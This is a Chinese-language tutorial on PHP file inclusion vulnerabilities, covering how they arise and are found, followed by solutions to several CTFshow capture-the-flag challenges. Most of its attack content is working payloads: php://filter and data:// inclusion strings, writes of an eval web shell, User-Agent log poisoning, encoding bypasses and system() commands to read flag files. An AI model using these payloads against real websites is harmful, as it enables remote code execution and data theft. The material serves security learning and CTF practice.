文件包含-原理&分类&利用&修复
原理
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含,在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞。
本地包含:Local File Include-LFI
远程包含:Remote File Include-RFI
差异原因:代码过滤和环境配置文件开关决定
白盒审计
- 可通过应用功能追踪代码定位审计
- 可通过脚本特定函数搜索定位审计
- 可通过伪协议玩法绕过相关修复等
PHP:include、require、include_once、require_once等
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require函数出现错误的时候,会直接报错并退出程序的执行
Java:java.io.File、java.io.FileReader等
ASP.NET:System.IO.FileStream、System.IO.StreamReader等
黑盒分析
黑盒发现:主要观察参数传递的数据和文件名是否对应
URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼
本地利用思路
- 有文件,配合文件上传恶意代码
- 无文件,包含日志
- 无文件,包含SESSION
- 无文件,支持伪协议利用
文件包含漏洞+PHP伪协议
文件读取
1 2 3 4 5 6 7 8
| URL:?file=file:///d:1.txt
URL:?file=php://filter/read=convert.base64-encode/resource=1.txt
URL:?file=php://filter/read=convert.base64-encode/resource=../../../1.txt
|
文件写入
1 2 3 4 5 6 7 8 9
| URL:?file=php://filter/write=convert.base64-encode/resource=phpinfo.php POST:content=MTlz 文件:file_put_contents($_GET['file'],$_POST['content']);
URL:?file=php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
|
代码执行
1 2 3 4 5 6 7 8 9
| URL:?file=php://input POST:<?php phpinfo();?>
URL:?file=data://text/plain,<?php phpinfo();?>
URL:?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
|
以上伪协议需要查看上面的开关和版本问题
远程利用思路
直接搭建一个可访问的远程URL后门并包含文件即可
黑盒利用-VULWEB-例子
1 2 3 4 5 6 7 8 9 10
| http://testphp.vulnweb.com/showimage.php?file=showimage.php&size=160
http://testphp.vulnweb.com/showimage.php?file=index.php&size=160
http://testphp.vulnweb.com/showimage.php?file=database_connect.php&size=160
|
白盒利用-CTFSHOW-伪协议玩法
CTFSHOW
78-php&http协议
解法1:
1 2
| URL:http://3ff5a16c-fcac-497b-b07b-5ade6e00d988.challenge.ctf.show/?file=php://filter/read=convert.base64-encode/resource=flag.php
|
解法2:
1 2 3 4
| URL:http://3ff5a16c-fcac-497b-b07b-5ade6e00d988.challenge.ctf.show/?file=php://input POST:<?php system('ls');?> POST:<?php system('tac flag.php');?>
|
79-data&http协议
1 2
| URL:http://fc35f089-5c6f-4d42-a37e-d8d57318ce4a.challenge.ctf.show/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
|
80, 81-日志包含
- 利用其他协议,如file,zlib等
- 利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
包含:/var/log/nginx/access.log
1 2 3
|
URL:http://4050c73b-dbe2-4568-8dc4-ec824ce8c365.challenge.ctf.show/?file=/var/log/nginx/access.log
|
87-php://filter/write&加密编码
解法1:
1 2 3 4 5 6 7 8 9 10 11 12 13
| URL:http://07390562-bb50-432e-a37b-696dd2b1c89c.challenge.ctf.show/?file=%70%68%70%3A%2F%2F%66%69%6C%74%65%72%2F%77%72%69%74%65%3D%63%6F%6E%76%65%72%74%2E%62%61%73%65%36%34%2D%64%65%63%6F%64%65%2F%72%65%73%6F%75%72%63%65%3D%31%32%33%2E%70%68%70
URL:http://07390562-bb50-432e-a37b-696dd2b1c89c.challenge.ctf.show/?file=%2570%2568%2570%253A%252F%252F%2566%2569%256C%2574%2565%2572%252F%2577%2572%2569%2574%2565%253D%2563%256F%256E%2576%2565%2572%2574%252E%2562%2561%2573%2565%2536%2534%252D%2564%2565%2563%256F%2564%2565%252F%2572%2565%2573%256F%2575%2572%2563%2565%253D%2531%2532%2533%252E%2570%2568%2570 POST:content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
URL:http://07390562-bb50-432e-a37b-696dd2b1c89c.challenge.ctf.show/123.php POST:a=system('ls'); POST:a=system('cat fl0g.php');
|
解法2:
1 2 3 4 5 6 7 8 9 10 11 12 13
| URL:http://07390562-bb50-432e-a37b-696dd2b1c89c.challenge.ctf.show/?file=%70%68%70%3A%2F%2F%66%69%6C%74%65%72%2F%77%72%69%74%65%3D%73%74%72%69%6E%67%2E%72%6F%74%31%33%2F%72%65%73%6F%75%72%63%65%3D%32%2E%70%68%70
URL:http://07390562-bb50-432e-a37b-696dd2b1c89c.challenge.ctf.show/?file=%2570%2568%2570%253A%252F%252F%2566%2569%256C%2574%2565%2572%252F%2577%2572%2569%2574%2565%253D%2573%2574%2572%2569%256E%2567%252E%2572%256F%2574%2531%2533%252F%2572%2565%2573%256F%2575%2572%2563%2565%253D%2532%252E%2570%2568%2570 POST:content=<?cuc riny($_CBFG[1]);?>
URL:http://07390562-bb50-432e-a37b-696dd2b1c89c.challenge.ctf.show/2.php POST:1=system('ls'); POST:1=system('cat fl0g.php');
|
88-data&base64协议
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php system('ls');?> PD9waHAgc3lzdGVtKCdscycpOz8+
<?php system('tac *.php');echo 123;?>ad PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
<?php system('tac *.php');echo 1;?>a PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDE7Pz5h
URL:http://672cd1c2-8eee-4fb1-a244-369c60881c61.challenge.ctf.show/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
|
117-php://filter/write&新的算法
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
1 2 3 4 5 6
| <?php $result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>'); echo "经过一次反转:".$result."\n"; echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result); ?>
|
1 2 3 4 5 6 7 8 9
| URL:http://b942c3b7-3b95-4f12-89c3-03d2f865bc1d.challenge.ctf.show/?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php POST:contents=?<hp pvela$(P_SO[T]a;)>?
URL:http://b942c3b7-3b95-4f12-89c3-03d2f865bc1d.challenge.ctf.show/a.php POST:a=system('ls'); POST:a=system('cat flag.php');
|